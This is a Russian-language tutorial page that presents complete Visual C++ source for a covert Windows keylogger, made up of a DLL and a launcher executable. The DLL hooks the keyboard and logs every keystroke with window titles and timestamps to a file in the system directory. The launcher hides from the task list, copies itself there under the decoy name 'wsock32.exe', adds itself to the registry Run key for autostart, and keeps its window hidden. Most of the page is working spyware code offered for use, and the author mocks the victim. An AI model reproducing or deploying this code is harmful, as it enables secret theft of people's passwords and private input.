Keylogger на Visual C++

Счас мы будем писать кейлогер на Visual C++, здесь будут успользоваться апшные функции, так что можно переписать на Delphi, если кого сильно препрет, то можно и на асме:)). Клавиатурный шпион у нас будет состоять из дополнительной dll и самой проги(exe-шника).
И так, вот исходники дополнительной dll ks.dll:


#include "stdafx.h"
#include "ks.h"

HANDLE hmod;
HHOOK khook;
HFILE LogFile;
char LogFileName[256] = "ks.txt";//название лог-файла
char FullLogFile[256] = "";
char BufStr0[19] = "";
char BufStr1[200] = "";
char BufStr2[256] = "";
char OldAct[1024] = "";
LPSTR ActWin()//поца для определения активного окна
{
LPSTR ActW = new TCHAR[1024];
SendMessage(GetForegroundWindow(),WM_GETTEXT,1024,(LONG)ActW);
return ActW;
};
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
                    )
{  //если лог файл по адресу c:\windir\sysdir отсутствует, то создаем его
    GetSystemDirectory(FullLogFile,256);
    strcat(FullLogFile,"\\");
    strcat(FullLogFile,LogFileName);
    LogFile = _lopen(FullLogFile,OF_WRITE);
    if (LogFile == 4294967295)
    {
        LogFile = _lcreat(FullLogFile,4);
    };
    _lclose(LogFile);
    hmod = hModule;
return TRUE;
}
LRESULT CALLBACK HksKeyProc(int nCode,WPARAM wParam, LPARAM lParam)
{
    if (nCode == HC_ACTION && !(lParam & 0x80000000))
    {
       //если нажата клавиша, то
        GetKeyNameText(lParam,BufStr0,19);
        //если ламак не тыкал на кнопочки в этом приложении, то его мы пишем в лог-afqk
        char *Active = ActWin();
        if (strcmp(OldAct,Active) !=0)
        {
            strcpy(BufStr1,"\nActive Window(TITLE) ");
            strcat(BufStr1,Active);
            strcat(BufStr1,"\n");
               //вместе с датой и временем
            char DateStr0[256] = "dd.MM.yyyy";
            char TimeStr1[256] = "hh : mm : ss";
    char DateStr1[256] = "";
    GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1));
strcat(BufStr1,"[");
strcat(BufStr1,DateStr1);
    strcat(BufStr1,"] ");
            GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1));
            strcat(BufStr1," ");
strcat(BufStr1,DateStr1);
    strcat(BufStr1," \n");
            strcat(BufStr1,"---------------------------------------------------\n");
            strcpy(OldAct,Active);
        };
        //пишем название нажатой клавиши
strcpy(BufStr2," ");
        strcat(BufStr1,BufStr2);
        strcat(BufStr1,BufStr0);
        LogFile = _lopen(FullLogFile,OF_WRITE);
        _llseek(LogFile,0,FILE_END);
        _lwrite(LogFile,BufStr1,lstrlen(BufStr1));
        _lclose(LogFile);
        strcpy(BufStr1,"");
    };
    return CallNextHookEx(khook,nCode,wParam,lParam);
};
//процедура для установки хука
void HksInit()
{
khook = SetWindowsHookEx(WH_KEYBOARD,
        HksKeyProc,
                            (HINSTANCE)hmod,
                            NULL);

};
//процедура для закрытия хука
void HksClose()
{
    UnhookWindowsHookEx(khook);
};
Теперь нужно написать ks.h:
#ifndef KS_H
#define KS_H

#include <windows.h>
#include <stdio.h>

#ifdef __DLL__
#define DLL_EI __declspec(dllexport)
#else
#define DLL_EI __declspec(dllimport)
#endif
//---------------------------------------------------------------------------
extern "C" {
LRESULT CALLBACK DLL_EI HksKeyProc(int nCode, WPARAM wParam, LPARAM lParam);
void DLL_EI HksInit();
void DLL_EI HksClose();
};
//---------------------------------------------------------------------------

#endif
Теперь создаем еще один проэкт для главного exe-шника. Кидаем в него ks.h и ks.lib (нужно его добавить в библиотеки (Alt+F7)).
Вот листинг hks.cpp:

#include "stdafx.h"
#include "ks.h"
char szClassName[256] = "hKs10";
char szAppName[256] = "hKsv10";
typedef DWORD (WINAPI *PREGISTERSERVICEPROCESS)(DWORD,DWORD);
//проца для прятания от Ctrl+Alt+Del
bool RSP(double p1, double p2)
{
PREGISTERSERVICEPROCESS rsp;
HINSTANCE hK32;
bool Rc=false;
hK32=GetModuleHandle("kernel32.dll");
if(hK32!=NULL) {
rsp=(PREGISTERSERVICEPROCESS) GetProcAddress(hK32, "RegisterServiceProcess");
if(rsp!=NULL) {
Rc=true;
rsp(p1,p2);
}
FreeLibrary(hK32);
}
return Rc;
}

LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//прячем от 3x клавиш
if(FindWindow(NULL,szAppName)) PostQuitMessage(1);
RSP(NULL,1);
//копируем ex-шник и дополнительную dll в %winsysdir%
    char szValue [256] = "wsock32.exe";
    HKEY pKey;
//прописываемся в автостарте
    RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&pKey);
    RegSetValueEx(pKey,"wsock32",NULL,REG_SZ,(BYTE *)szValue,strlen(szValue)+1);
char WinDir[256] = "";
    GetSystemDirectory(WinDir,sizeof(WinDir));
    strcat(WinDir,"\\");
    strcat(WinDir,szValue);
    LPSTR lpFile = new TCHAR[256];
    GetModuleFileName(NULL,lpFile,200);
   
    CopyFile(lpFile,WinDir,FALSE);
GetSystemDirectory(WinDir,sizeof(WinDir));
strcat(WinDir,"\\ks.dll");
CopyFile("ks.dll",WinDir,FALSE);
//пишем дату записи в файл
    char BufStr1[6666] = "";
char DateStr0[256] = "dd.MM.yyyy";
    char TimeStr1[256] = "hh : mm : ss";
    char DateStr1[256] = "";
GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1));
strcpy(BufStr1,"\n---------------------------------------------------\n");
strcat(BufStr1," Write to file: [");
strcat(BufStr1,DateStr1);
strcat(BufStr1,"] ");
    GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1));
strcat(BufStr1," ");
strcat(BufStr1,DateStr1);
strcat(BufStr1,"\n");

    char LogFile[256]= "";
    GetSystemDirectory(LogFile,256);
    strcat(LogFile,"\\ks.txt");
    HFILE Log1 = _lopen(LogFile,OF_WRITE);
    _lwrite(Log1,BufStr1,lstrlen(BufStr1));
    _lclose(Log1);

    HksInit();

HWND hwnd;
    MSG msg;
    WNDCLASS wc;
    wc.style = 0;
    wc.lpfnWndProc = WndProc;
    wc.cbClsExtra = 0;
    wc.cbWndExtra = 0;
    wc.lpszClassName = szClassName;
    wc.lpszMenuName = NULL;
    wc.hInstance = hInstance;
    wc.hCursor = LoadCursor(NULL,IDC_ARROW);
    wc.hIcon = LoadIcon(NULL,IDI_APPLICATION);
    wc.hbrBackground = (HBRUSH) COLOR_WINDOW;

    RegisterClass(&wc);

    hwnd = CreateWindow(szClassName,
        szAppName,
                        WS_OVERLAPPEDWINDOW,
                        2,
                        10,
                        70,
                        100,
                        NULL,
                        NULL,
                        hInstance,
                        NULL);

    ShowWindow(hwnd,SW_HIDE);
    UpdateWindow(hwnd);
//обрабатываем сообщения
while (GetMessage(&msg,NULL,0,0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
    }
    return 0;
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
{
    switch (iMsg)
    {
    case WM_CREATE:return 1;break;
        case WM_DESTROY:
            HksClose();
            PostQuitMessage(1);
            break;
    };


    return DefWindowProc(hwnd,iMsg,wParam,lParam);
};

Всё. Теперь это все можно запустить и прога скопирует себя B winsir\sysdir wsock32.exe и доп dll в windir\sysdir ks.dll.

 
« Предыдущая статья   Следующая статья »